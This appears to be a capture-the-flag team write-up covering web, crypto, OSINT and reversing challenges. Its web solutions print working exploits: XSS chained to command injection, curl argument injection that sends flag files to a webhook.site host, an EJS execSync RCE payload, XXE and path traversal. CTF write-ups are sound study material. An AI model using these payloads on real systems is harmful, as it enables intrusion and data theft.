Before all
This is ICEDTEA here :>
Team: ICEDTEA
Rank: 33/1361
抱歉各位,拖了超久才把它整理出來 by chilin.h
Write Up
Web
giraffe notes
- Solver: LemonTea
題目
看到網址 點進去就對了
Hmmmm 好看來看不到呢
那我們來看看他給的php檔吧
OK 很棒 看來ip不在訪問範圍內呢 :)
這時候 curl是我們的好夥伴 :)
所以呢 打開terminal:
使用curl指令 進行IP欺騙
final paylaod
curl -H "X-Forwarded-For: 127.0.0.1" http://chal.competitivecyber.club:8081
啪 答案出來了
flag: CACI{1_lik3_g1raff3s_4_l0t}
Open Seasame
- Solver: Whale120(wha13)
一個bot介面(對外開在13336)跟一個web介面(通靈出對外開在13337)
bot介面長這樣,只能去造訪local 1337底下的路徑(會帶著admin的httponly cookie)
app.py
from flask import Flask, request
import uuid, subprocess
app = Flask(__name__)
SECRET = open("secret.txt", "r").read()
stats = []
@app.route('/', methods=['GET'])
def main():
return 'Hello, World!'
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
for stat in stats:
if stat['id'] == id:
return str(stat['data'])
return '{"error": "Not found"}'
@app.route('/api/stats', methods=['POST'])
def add_stats():
try:
username = request.json['username']
high_score = int(request.json['high_score'])
except:
return '{"error": "Invalid request"}'
id = str(uuid.uuid4())
stats.append({
'id': id,
'data': [username, high_score]
})
return '{"success": "Added", "id": "'+id+'"}'
@app.route('/api/cal', methods=['GET'])
def get_cal():
cookie = request.cookies.get('secret')
if cookie == None:
return '{"error": "Unauthorized"}'
if cookie != SECRET:
return '{"error": "Unauthorized"}'
modifier = request.args.get('modifier','')
return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'
if __name__ == "__main__":
app.run(host='0.0.0.0', port=1337, threaded=True)
觀察兩個洞:
XSS:去post/api/stats
可以插資料,拿到的uuid可以去/api/stats/<uuid>
請求獲得資料,然後資料直接輸出
Command Injection:/api/cal
那邊,裸裸的subprocess.getoutput那段
Admin bot有個不能輸入cal這三個字母和不能輸入%的限制。
攻擊練:透過XSS admin帶著Command Injection Payload去fetch /api/cal
exp.py
import requests as req
import base64 as b64
payload=b'fetch(\'http://127.0.0.1:1337/api/cal?modifier=2024 ; curl https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731 --data "$(cat flag.txt)"\')'
payload=f"<script>eval(atob('{b64.b64encode(payload).decode()}'))</script>"
data={'username':payload, 'high_score':"1337"}
web=req.post('http://chal.competitivecyber.club:13337/api/stats', json=data)
print(web.text)
Flag: CACI{1_l0v3_c0mm4nd_1nj3ct10n}
Impersonate
- Solver: Whale120(wha13) app.py
#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
"""Check if the username is alphanumeric and less than 20 characters."""
return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
"""Handle the main page where the user submits their username."""
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
password = request.values['password']
if not is_safe_username(username):
return render_template('index.html', error='Invalid username')
if not password:
return render_template('index.html', error='Invalid password')
if username.lower().startswith('admin'):
return render_template('index.html', error='Don\'t try to impersonate administrator!')
if not username or not password:
return render_template('index.html', error='Invalid username or password')
uid = uuid.uuid5(secret, username)
session['username'] = username
session['uid'] = str(uid)
return redirect(f'/user/{uid}')
@app.route('/user/<uid>')
def user_page(uid):
"""Display the user's session page based on their UUID."""
try:
uid = uuid.UUID(uid)
except ValueError:
abort(404)
session['is_admin'] = False
return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
"""Display the admin page if the user is an admin."""
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
return flag
else:
abort(401)
@app.route('/status')
def status():
current_time = datetime.now()
uptime = current_time - server_start_time
formatted_uptime = str(uptime).split('.')[0]
formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
status_content = f"""Server uptime: {formatted_uptime}<br>
Server time: {formatted_current_time}
"""
return status_content
if __name__ == '__main__':
app.run("0.0.0.0", port=9999)
可以直接造訪/status
獲得server time,然後用flask-unsign
簽回去就好
flask-unsign --sign --cookie "{'is_admin': True, 'uid': '31333337-1337-1337-1337-133713371337', 'username': 'administrator'}" --secret 'af9e55089a3a20273e06f6443ba96ebe4f2c62a827d895feb16487cfca62b2d7'
KIRAN SAU PROBLEM
- Solver: Whale120(wha13)
一個Apache上面的php題目:
Dockerfile
FROM php:7.2-fpm
RUN apt update -y
# Install dependencies
RUN apt -y install supervisor \
apache2 \
libyaml-dev \
cron
# Install PHP extensions
RUN pecl install yaml && echo "extension=yaml.so" > /usr/local/etc/php/conf.d/ext-yaml.ini && docker-php-ext-enable yaml
# Copy .htaccess file
COPY conf-files/.htaccess /var/www/html/
# create .htpasswd file
RUN htpasswd -bc /etc/apache2/.htpasswd admin TEST_PASSWORD
# Copy files
COPY php-files/challenge.php /var/www/html/
COPY php-files/index.php /var/www/html/
# Copy apache configuration
COPY conf-files/000-default.conf /etc/apache2/sites-available/
# Copy supervisor configuration
COPY conf-files/php-fpm.conf /etc/supervisor/conf.d/
COPY conf-files/apache.conf /etc/supervisor/conf.d/
COPY conf-files/cron.conf /etc/supervisor/conf.d/
# Enable apache modules
RUN a2enmod rewrite \
proxy \
proxy_fcgi \
auth_basic
# Remove default index.html
RUN rm /var/www/html/index.html
# Remove all files except index.php, challenge.php and .htaccess
RUN \
echo "find /var/www/html ! \( -iname 'index.php' -o -iname 'challenge.php' -o -iname '.htaccess' \) -type f -exec rm -f {} + " > /root/script.sh \
&& echo "echo PCTF{TEST_FLAG} > /get-here/flag.txt" >> /root/script.sh \
&& chmod +x /root/script.sh
# Add crontab file in the cron directory
# Run cron job every 30 seconds
COPY conf-files/crontab /etc/crontab
# Give execution rights on the cron job
RUN chmod 0644 /etc/crontab
RUN crontab /etc/crontab
# Flag location
RUN mkdir /get-here \
&& echo "PCTF{TEST_FLAG}" > /get-here/flag.txt
# Change ownership
RUN chown -R www-data:www-data /var/www/html \
&& chown -R www-data:www-data /get-here
# Expose port 80
EXPOSE 80
# Start supervisord
CMD ["/usr/bin/supervisord", "-n"]
challenge.php
<html>
<head>
<title>Kiran Sau Problem</title>
</head>
</html>
<?php
$input = $_GET['country'];
$url = $_GET['url'];
$countryList = array(
"AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa", "AD" => "Andorra", "AO" => "Angola", "AI" => "Anguilla", "AQ" => "Antarctica", "AG" => "Antigua and Barbuda", "AR" => "Argentina", "AM" => "Armenia", "AW" => "Aruba", "AU" => "Australia", "AT" => "Austria", "AZ" => "Azerbaijan", "BS" => "Bahamas", "BH" => "Bahrain", "BD" => "Bangladesh", "BB" => "Barbados", "BY" => "Belarus", "BE" => "Belgium", "BZ" => "Belize", "BJ" => "Benin", "BM" => "Bermuda", "BT" => "Bhutan", "BO" => "Bolivia", "BA" => "Bosnia and Herzegovina", "BW" => "Botswana", "BV" => "Bouvet Island", "BR" => "Brazil", "BQ" => "British Antarctic Territory", "IO" => "British Indian Ocean Territory", "VG" => "British Virgin Islands", "BN" => "Brunei", "BG" => "Bulgaria", "BF" => "Burkina Faso", "BI" => "Burundi", "KH" => "Cambodia", "CM" => "Cameroon", "CA" => "Canada", "CT" => "Canton and Enderbury Islands", "CV" => "Cape Verde", "KY" => "Cayman Islands", "CF" => "Central African Republic", "TD" => "Chad", "CL" => "Chile", "CN" => "China", "CX" => "Christmas Island", "CC" => "Cocos [Keeling] Islands", "CO" => "Colombia", "KM" => "Comoros", "CG" => "Congo - Brazzaville", "CD" => "Congo - Kinshasa", "CK" => "Cook Islands", "CR" => "Costa Rica", "HR" => "Croatia", "CU" => "Cuba", "CY" => "Cyprus", "CZ" => "Czech Republic", "CI" => "Côte d’Ivoire", "DK" => "Denmark", "DJ" => "Djibouti", "DM" => "Dominica", "DO" => "Dominican Republic", "NQ" => "Dronning Maud Land", "DD" => "East Germany", "EC" => "Ecuador", "EG" => "Egypt", "SV" => "El Salvador", "GQ" => "Equatorial Guinea", "ER" => "Eritrea", "EE" => "Estonia", "ET" => "Ethiopia", "FK" => "Falkland Islands", "FO" => "Faroe Islands", "FJ" => "Fiji", "FI" => "Finland", "FR" => "France", "GF" => "French Guiana", "PF" => "French Polynesia", "TF" => "French Southern Territories", "FQ" => "French Southern and Antarctic Territories", "GA" => "Gabon", "GM" => "Gambia", "GE" => "Georgia", "DE" => "Germany", "GH" => "Ghana", "GI" => "Gibraltar", "GR" => "Greece", "GL" => "Greenland", "GD" => "Grenada", "GP" => "Guadeloupe", "GU" => "Guam", "GT" => "Guatemala", "GG" => "Guernsey", "GN" => "Guinea", "GW" => "Guinea-Bissau", "GY" => "Guyana", "HT" => "Haiti", "HM" => "Heard Island and McDonald Islands", "HN" => "Honduras", "HK" => "Hong Kong SAR China", "HU" => "Hungary", "IS" => "Iceland", "IN" => "India", "ID" => "Indonesia", "IR" => "Iran", "IQ" => "Iraq", "IE" => "Ireland", "IM" => "Isle of Man", "IL" => "Israel", "IT" => "Italy", "JM" => "Jamaica", "JP" => "Japan", "JE" => "Jersey", "JT" => "Johnston Island", "JO" => "Jordan", "KZ" => "Kazakhstan", "KE" => "Kenya", "KI" => "Kiribati", "KW" => "Kuwait", "KG" => "Kyrgyzstan", "LA" => "Laos", "LV" => "Latvia", "LB" => "Lebanon", "LS" => "Lesotho", "LR" => "Liberia", "LY" => "Libya", "LI" => "Liechtenstein", "LT" => "Lithuania", "LU" => "Luxembourg", "MO" => "Macau SAR China", "MK" => "Macedonia", "MG" => "Madagascar", "MW" => "Malawi", "MY" => "Malaysia", "MV" => "Maldives", "ML" => "Mali", "MT" => "Malta", "MH" => "Marshall Islands", "MQ" => "Martinique", "MR" => "Mauritania", "MU" => "Mauritius", "YT" => "Mayotte", "FX" => "Metropolitan France", "MX" => "Mexico", "FM" => "Micronesia", "MI" => "Midway Islands", "MD" => "Moldova", "MC" => "Monaco", "MN" => "Mongolia", "ME" => "Montenegro", "MS" => "Montserrat", "MA" => "Morocco", "MZ" => "Mozambique", "MM" => "Myanmar [Burma]", "NA" => "Namibia", "NR" => "Nauru", "NP" => "Nepal", "NL" => "Netherlands", "AN" => "Netherlands Antilles", "NT" => "Neutral Zone", "NC" => "New Caledonia", "NZ" => "New Zealand", "NI" => "Nicaragua", "NE" => "Niger", "NG" => "Nigeria", "NU" => "Niue", "NF" => "Norfolk Island", "KP" => "North Korea", "VD" => "North Vietnam", "MP" => "Northern Mariana Islands", "NO" => "Norway", "OM" => "Oman", "PC" => "Pacific Islands Trust Territory", "PK" => "Pakistan", "PW" => "Palau", "PS" => "Palestinian Territories", "PA" => "Panama", "PZ" => "Panama Canal Zone", "PG" => "Papua New Guinea", "PY" => "Paraguay", "YD" => "People's Democratic Republic of Yemen", "PE" => "Peru", "PH" => "Philippines", "PN" => "Pitcairn Islands", "PL" => "Poland", "PT" => "Portugal", "PR" => "Puerto Rico", "QA" => "Qatar", "RO" => "Romania", "RU" => "Russia", "RW" => "Rwanda", "RE" => "Réunion", "BL" => "Saint Barthélemy", "SH" => "Saint Helena", "KN" => "Saint Kitts and Nevis", "LC" => "Saint Lucia", "MF" => "Saint Martin", "PM" => "Saint Pierre and Miquelon", "VC" => "Saint Vincent and the Grenadines", "WS" => "Samoa", "SM" => "San Marino", "SA" => "Saudi Arabia", "SN" => "Senegal", "RS" => "Serbia", "CS" => "Serbia and Montenegro", "SC" => "Seychelles", "SL" => "Sierra Leone", "SG" => "Singapore", "SK" => "Slovakia", "SI" => "Slovenia", "SB" => "Solomon Islands", "SO" => "Somalia", "ZA" => "South Africa", "GS" => "South Georgia and the South Sandwich Islands", "KR" => "South Korea", "ES" => "Spain", "LK" => "Sri Lanka", "SD" => "Sudan", "SR" => "Suriname", "SJ" => "Svalbard and Jan Mayen", "SZ" => "Swaziland", "SE" => "Sweden", "CH" => "Switzerland", "SY" => "Syria", "ST" => "São Tomé and Príncipe", "TW" => "Taiwan", "TJ" => "Tajikistan", "TZ" => "Tanzania", "TH" => "Thailand", "TL" => "Timor-Leste", "TG" => "Togo", "TK" => "Tokelau", "TO" => "Tonga", "TT" => "Trinidad and Tobago", "TN" => "Tunisia", "TR" => "Turkey", "TM" => "Turkmenistan", "TC" => "Turks and Caicos Islands", "TV" => "Tuvalu", "UM" => "U.S. Minor Outlying Islands", "PU" => "U.S. Miscellaneous Pacific Islands", "VI" => "U.S. Virgin Islands", "UG" => "Uganda", "UA" => "Ukraine", "SU" => "Union of Soviet Socialist Republics", "AE" => "United Arab Emirates", "GB" => "United Kingdom", "US" => "United States", "ZZ" => "Unknown or Invalid Region", "UY" => "Uruguay", "UZ" => "Uzbekistan", "VU" => "Vanuatu", "VA" => "Vatican City", "VE" => "Venezuela", "VN" => "Vietnam", "WK" => "Wake Island", "WF" => "Wallis and Futuna", "EH" => "Western Sahara", "YE" => "Yemen", "ZM" => "Zambia", "ZW" => "Zimbabwe", "AX" => "Åland Islands", );
$countryList = array_flip($countryList);
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
if (empty($yaml)) die("No YAML data provided");
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];
if (!$parsed_arr) echo "Error parsing YAML".'<br>';
if (!$input) die("No country code provided");
if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}
function run($cc, $url) {
echo "Country code: ".$cc."<br>";
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
return;
}
.htaccess
<Files "challenge.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
疑,那Apache版本呢?
請求看看/whale
Apache 2.4.59!!!
看到這個馬上聯想到 Orange大大的研究
簡單來說,我可以使用一個url encode後的問號去做Confusion Attack(.htaccess甚至長一模一樣)
繞過http authㄌ
接下來重點看看challenge.php裡面的這一段:
function run($cc, $url) {
echo "Country code: ".$cc."<br>";
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
return;
}
可以看出雖然過濾了可以造成command injection的字元,但畢竟這題只是要讀檔,簡單利用一下Argument Injection就好了,像這樣:
curl -F FLAG=@/get-here/flag.txt http://whale.meow
最後,再看看這個Function的調用條件,必須滿足讀進來的第一個參數cc是空,於是追溯到這段看看:
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
if (empty($yaml)) die("No YAML data provided");
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];
if (!$parsed_arr) echo "Error parsing YAML".'<br>';
if (!$input) die("No country code provided");
if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}
可以發現是yaml讀國碼,使用The Norway Problem(link)的作法就能讓他變成一個不存在的變數,進而跑到run function那邊做Argument Injection
Final Payload:
http://chal.competitivecyber.club:8090/challenge.php%3Fwhale.php?url=-F%20FLAG=@/get-here/flag.txt%20https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731&country=Norway
P.S.因為沒過濾輸入,所以country也可以插入像是meow%0d$0a- country_code: False
之類的進行Yaml注入,不一定要做Norway Trick
Flag: PCTF{Kiran_SAU_Manifested}
dogdays
要讀取到/flag
,切入重點,打view.php
:
<?php
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}else{
echo "<!DOCTYPE html><html><body>";
echo "<h1>Invalid hash provided!</h1>";
echo '<img src="assets/BAD.gif"/>';
echo "</body></html>";
}
// The flag is at /flag, that's all you're getting!
?>
可以看到赤裸裸的LFI,但是他會用sha1去checksum,有撒鹽,所以需要做長度擴展攻擊。
Solve Script
sha1使用的是:https://github.com/William957-web/length-extension-attack/blob/main/length_extension_sha1/sha1.py
exp.py
import hashlib
import hexdump
import struct
# https://github.com/ajalt/python-sha1
import sha1
import requests as req
import urllib.parse
baseurl='http://chal.competitivecyber.club:7777/view.php?'
INJECT_STRING = b"/../../../../../../../flag"
class Sha1Padding:
def __init__(self):
# Length in bytes of all data that has been processed so far
self._message_byte_length = 0
def pad(self, message):
"""Return finalized digest variables for the data processed so far."""
# Pre-processing:
message_byte_length = self._message_byte_length + len(message)
# append the bit '1' to the message
message += b'\x80'
# append 0 <= k < 512 bits '0', so that the resulting message length (in bytes)
# is congruent to 56 (mod 64)
message += b'\x00' * ((56 - (message_byte_length + 1) % 64) % 64)
# append length of message (before pre-processing), in bits, as 64-bit big-endian integer
message_bit_length = message_byte_length * 8
message += struct.pack(b'>Q', message_bit_length)
return message
def attack(originData, originHash, keyLen):
""" Generate attackData """
# Padding - (key + originData + padding) + attackData
pad = Sha1Padding()
tmpStr = ('A' * keyLen).encode()
attackData = pad.pad(tmpStr + originData)[keyLen:] + INJECT_STRING
#print(hexdump.hexdump(attackData))
""" Generate attackHash """
sha = sha1.Sha1Hash()
sha.update(INJECT_STRING, originHash.encode())
attackHash = sha.hexdigest()
return attackData, attackHash
for i in range(1, 100):
pic, hash=attack(b'1.png', '06dadc9db741e1c2a91f266203f01b9224b5facf', i)
web=req.get(baseurl+urllib.parse.urlencode({'pic':pic, 'hash':hash}))
if 'Here\'s your picture:' in web.text:
print(web.text)
break
Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}
Blob
index.js
require("express")()
.set("view engine", "ejs")
.use((req, res) => res.render("index", { blob: "blob", ...req.query }))
.listen(3000);
標準的ejs傳入參數題,Github上面蠻多issue可以參考:ejs issue(link)
Payload:
settings[view options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("cat flag*").toString()&settings[view options][client]=1
Flag: CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}
DOM DOM
app.py
#!/usr/bin/env python
__author__ = "kiransau"
__title__ = "DOMDOM"
import os
import json
import urllib
import random
import requests
from PIL import Image
from importlib.metadata import version
from PIL.ExifTags import TAGS
from flask import Flask, flash, request, redirect, url_for, render_template
from werkzeug.utils import secure_filename
from lxml import etree
UPLOAD_FOLDER = '/app/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg'}
app = Flask(__name__,
static_url_path='/static',
template_folder='templates')
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
filename = ''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('No selected file')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename) + str(random.randrange(10000, 90000))
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return render_template('upload.html', filename=filename)
@app.route('/check', methods=['POST', 'GET'])
def check():
r = requests.Session()
allow_ip = request.headers['Host']
if request.method == 'POST':
url = request.form['url']
url_parsed = urllib.parse.urlparse(url).netloc
if allow_ip == url_parsed:
get_content = r.get(url = url)
else:
return "Cannot request for that url"
try:
parsed_json = json.loads(get_content.content.decode())["Comment"]
parser = etree.XMLParser(no_network=False, resolve_entities=True)
get_doc = etree.fromstring(str(parsed_json), parser)
print(get_doc, "ho")
result = etree.tostring(get_doc)
except:
return "Something wrong!!"
if result: return result
else: return "Empty head"
else:
return render_template('check.html')
@app.route('/meta')
def meta():
iname = request.args.get("image", type=str)
try:
name = UPLOAD_FOLDER + '/' + iname
try:
image = Image.open(name)
image_dict = {
"Filename": image.filename,
"Image Size": image.size,
"Comment": image.info.get('Comment')
}
return image_dict
except FileNotFoundError:
return "File not found."
except:
return render_template('meta.html')
if __name__ == '__main__':
app.secret_key = "734df63066793dfe6f7e417d4d80f453"
app.run(debug=False, host='0.0.0.0', port=9090)
幾個觀察,/check路徑會去把json資料parse出來之後拿去lxml的etree讀資料,最後把結果輸出,赤裸裸的XXE。
然後可以上傳圖片,去/meta路徑正好就可以拿到json格式的圖片資料
最後寫腳本改一下圖片info即可。
Exploit
import requests as req
from PIL import Image
from PIL.PngImagePlugin import PngInfo
payload="""<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/flag.txt" >]>
<whale>
&xxe;
</whale>"""
image = Image.open("wifu.png")
metadata = PngInfo()
metadata.add_text("Comment", payload)
image.save("wifu.png", pnginfo=metadata)
f=open('wifu.png', 'rb')
files={'file':f}
url_base='http://chal.competitivecyber.club:9090/'
web=req.post(url_base, files=files)
file_name=web.text[web.text.index('Successfully uploaded: ')+23:web.text.index('Successfully uploaded: ')+36]
data={'url':'http://chal.competitivecyber.club:9090/meta?image='+file_name}
web=req.post(url_base+'check', data=data)
print(web.text)
p.s.附上wifu.png
Flag: PCTF{Y0u_D00m3D_U5_Man_So_SAD}
Crypto
idk cipher
- Solver: Whale120(wha13)
chal.py
import base64
"""
********************************************
* *
* *
********************************************
"""
# WARNING: This is a secret key. Do not expose it.
srt_key = 'secretkey' # // TODO: change the placeholder
usr_input = input("\t:"*10)
if len(usr_input) <= 1:
raise ValueError("PT must be greater than 1")
if len(usr_input) % 2 != 0:
raise ValueError("PT can only be an even number")
if not usr_input.isalnum():
raise ValueError("Only alphabets and numbers supported")
# WARNING: Reversing input might expose sensitive information.
rsv_input = usr_input[::-1]
output_arr = []
for i in range(int(len(usr_input) / 2)):
c1 = ord(usr_input[i])
c2 = ord(rsv_input[i])
enc_p1 = chr(c1 ^ ord(srt_key[i % len(srt_key)]))
enc_p2 = chr(c2 ^ ord(srt_key[i % len(srt_key)]))
output_arr.append(enc_p1)
output_arr.append(enc_p2)
# WARNING: Encoded text should not be decoded without proper authorization.
encoded_val = ''.join(output_arr)
b64_enc_val = base64.b64encode(encoded_val.encode())
R = "R"*20
E = "E"*5
EXCLAMATION = "!"*5
print(f"ULTRA SUPE{R} SECUR{E} Encoded Cipher Text{EXCLAMATION}:", b64_enc_val.decode())
ciphertext:QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=
然後檔案裡的srt_key是真的key,直接反著做
import base64
from pwn import *
secret=b'QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I='
flag=xor(base64.b64decode(secret), b'sseeccrreettkkeeyy').decode()
new_flag=''
for i in range(0, 32, 2):
new_flag+=flag[i]
for i in range(31, 0, -2):
new_flag+=flag[i]
print(new_flag)
Flag: pctf{234c81cf3cd2a50d91d5cc1a1429855f}
Hard to implement
加密
重複多次
|||
|:-:|-|
|encryption|AES(ECB_MODE, 128bits)|
|data|user_input
+ flag
|
解法
AES prepend oracle:
假設使用者輸入000000000000000
密文的第一個block會是000000000000000
+ flag的第一個字
輸入00000000000000
密文的第一個block則會是00000000000000
+ flag的前兩個字
於是我們可以透過窮舉最後一個字元,並驗證密文是否相等000000000000000a
000000000000000b
000000000000000c
…000000000000000p
以此類推其他求出接下來的字元00000000000000pa
00000000000000pb
…
solve:
from pwn import *
from tqdm import *
r = remote('chal.competitivecyber.club', 6002)
pretends = []
for i in range(15, 1, -1):
r.sendlineafter(b'Send challenge > ' ,b'0' * i)
r.recvuntil(b'Response > ')
pretend = bytes.fromhex(r.recv(32).decode())
pretends.append(pretend)
oracle = b''
for i, pretend in enumerate(pretends):
for byte in trange(0x20, 0x7f):
payload = b'0' * (15 - i) + oracle + bytes([byte])
r.sendlineafter(b'Send challenge > ' , payload)
r.recvuntil(b'Response > ')
response = bytes.fromhex(r.recv(32).decode())
if response == pretend:
oracle += bytes([byte])
print(oracle.decode())
break
High Roller
加密
用時間當seed,生成公私鑰,並寫出到一個.pem
檔
解法
可以透過檔案的最後修改時間
獲得seed
solve:
import os
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
filetime = os.path.getmtime("public_key.pem")
with open("public_key.pem", "rb") as key_file:
public_key = RSA.import_key(key_file.read())
origin_N = public_key.n
e = public_key.e
d = 0
random.seed(int(filetime))
p, q = getPrime(512, random.randbytes), getPrime(512, random.randbytes)
n = p*q
phi = (p-1)*(q-1)
assert n == origin_N
d = pow(e, -1 , phi)
assert d * e % phi == 1
C = bytes_to_long(open('flag.enc', 'rb').read())
flag = long_to_bytes(pow(C, d, n))
print(flag)
bit by bit
加密
把明文的每16個字元分成一個chunk
有一把key, 一個個iv
每次對一個chunk,用key + iv
進行xor加密
每次結束後,iv = (iv + 1) % 256
解法
用xortool可以先得到key的前15bytes
solve:
from pwn import *
from Crypto.Util.number import *
import sys
blocksize = 16
def transmit():
key = bytes_to_long(b'\x00\x00\x00\x00\xae\xcdK\x13\x90E#\xeai\xba\xfe\x00')
iv = 0
msg = open('cipher.txt', 'rb').read()
chunks = [msg[i:i+16] for i in range(0,len(msg), 16)]
send = b''
for chunk in chunks:
iv = (iv+1) % 255
curr_k = b'\x00' * 4 + long_to_bytes(key+iv)
plain = xor(curr_k, chunk)
send += plain
print(send.decode())
sys.exit(0)
if __name__=="__main__":
transmit()
protected console
btw這題因為這邊連線速度太慢,主辦方幫忙代跑腳本
加密
多次加密
|||
|:-:|-|
|encryption|AES(CBC_MODE, 128bits)|
|data|user_hex_input[16:]
|
|iv|user_hex_input[:16]
|
題目會解析密文(json),並讀出username
和role
的值
一旦username
= "administrative_user"
, role
= 1
就可以進入admin console,可執行print()
指令
解法
---
弱點
解密後會判斷padding是否正常
這讓我們可以用padding oracle
來獲得block解密後的訊息
再加上可控制iv,所以我們可以有辦法改變整個密文
---
padding檢查:
但這個padding判斷的方式有點奇怪
如果只需一個bytes的padding,可以是\x00
或\x01
所以padding oracle要先找出最後一個byte是\x00
和\x01
並判斷哪個是\x01
(\x00
倒數第二個byte必定找不到因為\x02\x03
不符合padding規則)
我們知道
\begin{aligned}
P_1 &= D(C_1) \oplus IV \\
P_2 &= D(C_2) \oplus C_1 \\
P_3 &= D(C_3) \oplus C_2 \\
\end{aligned}
所以我們可以透過padding oracle構造這些資料
\begin{aligned}
C_3 &= \text{aaaaaaaaaaaaaaaa} \\
C_2 &= D(C_3) \oplus P_3 \\
C_1 &= D(C_2) \oplus P_2\\
IV &= D(C_1) \oplus P_1\\
\end{aligned}
送出就可以進入admin console了
最後利用bit flipping 執行print(flag)
Bigger is Better
sover @LemonTea
題目 給了個dist.txt檔
再加上題目說是RSA key
COOL
打開dist.txt檔 看到了這個
丟上去線上解密
像這樣 然後解密
啪一聲 答案出來了
Flag: pctf{fun_w1th_l4tt1c3s_f039ab9}
OSINT
On The Run
- Solver: yuchan
題目說要找圖片來源的公司,也就是哪間公司拍出去的。
起手勢,google圖片搜尋
結果好像是一個叫The view of DC的觀景台
改googlecompany view of dc
找到一篇新聞(懶得看直接給GPT講結論
https://www.arlnow.com/2024/07/23/arlington-trades-view-of-dc-access-in-rosslyn-for-14-million-gateway-park-investment/
嘗試了CoStar Group但不對,所以改找同棟其他樓層
感覺是30樓!
就賭第一個出現的公司了,欸…對了欸(通靈成功?)
FLAG: PCTF{convene}
Phase One
- Solver: kohiro
- 根據題序說要找到![target_product]的MCU( )(S1fBV1hTA.jpg)
FLAG: pctf{Ikanos}
Porcelain Throne!
- Solver: kohiro
throne
google圖片搜尋
嗯…大邱有像
FLAG: pctf{Daegu}
Night School
- Solver: Whale120(wha13)
拿到一張照片,找雕像名字
題目敘述有提到FireFax,用Fairfax campus statue
為關鍵字搜尋就找到這篇Blog:https://academeblog.org/2020/04/23/the-silencing-of-contingent-faculty-voices-in-secret-presidential-searches/
Flag: pctf{Communitas}
sixfeetunder
- Sover: LemonTea source chatgpt : )
題目:
看到題目 取關鍵字餵給AI(對我就爛)
看到人名之後 就把它輸進去
啪!答案出來了
Flag{markclark}
Studious
- Solver: chilin.h Source: https://www2.gwu.edu/~media/pressreleases/tuition.html
- 先找關鍵字
George Washington University "credit" 1998
- 找到 https://www2.gwu.edu/~media/pressreleases/02_12_1999_tuition.html
- 然後回上一個目錄 https://www2.gwu.edu/~media/pressreleases/
- 進到 1998 https://www2.gwu.edu/~media/pressreleases/1998.html
- Ctrl + F
fee
,找到 Feb.13 GW Announces Lowest Tuition/ Fee Increase In A Decade] - 得知為 714.50
Flag: PCTF{714.50}
Reverse
Revioli, Revioli, give me the formeoli
- Solver
題目給一個執行檔,丟IDA
flag生成跟輸入內容無關
用gdb ni走下去
Flag
Packed Full Of Surprises
先說我好像是非預期解
執行檔功能
可以讀入flag.txt
加密後寫出flag.txt.enc
解法
我發現密文沒有做好diffusion,也就前後字元關連不大
於是我把原本的flag.txt.enc
存成encrypted_flag.enc
把file read/write 當做 input/out
solve:
import subprocess
from tqdm import *
elf_path = "./encrypt"
flag = b''
correctflag = open('encrypted_flag.enc', 'rb').read()
for i, ch in enumerate(correctflag):
for byte in trange(0x20, 0x7f):
open('flag.txt', 'wb').write(flag + bytes([byte]))
subprocess.run([elf_path])
